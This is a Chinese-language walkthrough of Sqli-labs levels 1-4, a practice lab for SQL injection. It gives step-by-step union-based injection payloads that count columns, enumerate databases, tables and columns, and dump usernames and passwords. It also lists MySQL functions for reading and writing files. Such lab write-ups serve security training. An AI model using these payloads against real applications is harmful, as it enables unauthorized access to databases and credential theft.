1. 程式人生 > 資料庫 >Sqli-labs(1-4)

Sqli-labs(1-4)

目錄

前言

此關卡的主要思想以及步驟如下:

首先判斷注入方式
在這裡插入圖片描述

less-1

提示為字元型注入,構造payload
../?id=1' and 1=1正確
../?id=1' and 1=2錯誤
在這裡插入圖片描述
確認存在注入點

然後進行確認欄位數,因為不知道有幾個欄位,所以進行嘗試。構造payload ../?id=1' order by 1,2,3,4 --+,發現在4時會報錯,因此欄位有3個。
在這裡插入圖片描述

PS:order by是mysql中對查詢資料進行排序的方法,當排序所在列不存在時即會報錯,因此根據回顯可以判斷目前有幾列

select * from user order by id asc;  對id欄位進行排序
select * from user order by 1 desc;  對第一列進行排序
asc 升序排列 desc降序排列

判斷回顯位置位於哪裡,構造payload ../?id=-1' union select 1,2,3--+
因為判斷出一共三列,因此判斷1,2,3列的回顯位置,此處id為-1,因為union聯合查詢後,不會多行顯示,就需要先讓前面的語句失效。在這裡插入圖片描述
ps:此時id=1為正確語句,所以不會回顯後邊的執行語句。
在這裡插入圖片描述
ps:此時id=-1為錯誤判斷,因此會回顯後邊的執行語句,發現回顯位置為2和3。

接下來爆庫,構造payload,../?id=-1' union select 1,version(),database()--+
在這裡插入圖片描述

PS:常用sql注入函式
version():mysql版本,user():使用者名稱,database():資料庫名,@@datadir:讀取資料庫路徑,@@version_compile_os:作業系統版本
concat(str1,str2,…):沒有分割符地連線字串,顯示資料(資料合併)
group_concat(str1,str2,…):連線一個組的所有字串,並以逗號分割每一條資料,顯示資料
into outfile:寫檔案{select ‘需要寫的檔案’ into outfile ‘目錄下’},select ‘123123’ into outfile ‘d://study/1.txt’;(將123123新增至d盤study中新建1.txt檔案中)
group_concat(列名):會把這一列中所有的內容在一行中以,隔開輸出
select load_file(讀檔案路徑);
length() =>計算字串長度
hex() =>字元轉換為16進位制
@@basedir MYSQL獲取安裝路徑

檢視所有資料庫,payload../?id=-1' union select 1,group_concat(schema_name) from information_schema.schemata,3 --+在這裡插入圖片描述在這裡插入圖片描述

查詢security內的所有表名,構造payload../?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+在這裡插入圖片描述

檢視users裡的欄位,構造payload../?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+


我們發現了username和password,然後將其進行注入出來
在這裡插入圖片描述

查詢所有的使用者名稱和密碼,構造payload.../?id=-1' union select 1,group_concat(username),group_concat(password) from users --+在這裡插入圖片描述

PS:GROUP_CONCAT函式返回一個字串結果,該結果由分組中的值連線組合而成。
CONCAT()函式用於將多個字串連線成一個字串。
concat_ws() 將多個字串連線成一個字串,可以一次性指定分隔符

less-2

基於報錯的數字型GET注入,這個由於是數字型的,所以閉合的時候不用單引號了。
檢查是否存在注入,發現存在注入
?id=1=1正確
?id=1=2錯誤
在這裡插入圖片描述
整數型注入和字元型注入在於構造的id不同,整數型注入id=-1,下面構造payload

?id=-1 order by 1,2,3,4,5--+ //判斷列數
?id=-1 union select 1,2,3--+ //判斷回顯位置
?id=-1 union select 1,user(),database()--+ //爆庫
?id=-1 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ //爆表名
?id=-1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='users'--+ //爆列名
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+ //爆資料

less-3

基於’)的字元型注入,判斷是否存在注入
id=1') and 1=1正確
id=1') and 1=2錯誤
在這裡插入圖片描述
下面構造payload

?id=-1') order by 1,2,3,4,5--+ //判斷列數
?id=-1') union select 1,2,3--+ //判斷回顯位置
?id=-1') union select 1,user(),database()--+ //爆庫
?id=-1') union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ //爆表名
?id=-1') union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='users'--+ //爆列名
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+ //爆資料

less-4

基於")字元型注入,判斷是否存在注入
id=1“) and 1=1正確
id=1”) and 1=2錯誤在這裡插入圖片描述
下面構造payload

?id=-1") order by 1,2,3,4,5--+ //判斷列數
?id=-1") union select 1,2,3--+ //判斷回顯位置
?id=-1") union select 1,user(),database()--+ //爆庫
?id=-1") union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ //爆表名
?id=-1") union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='users'--+ //爆列名
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+ //爆資料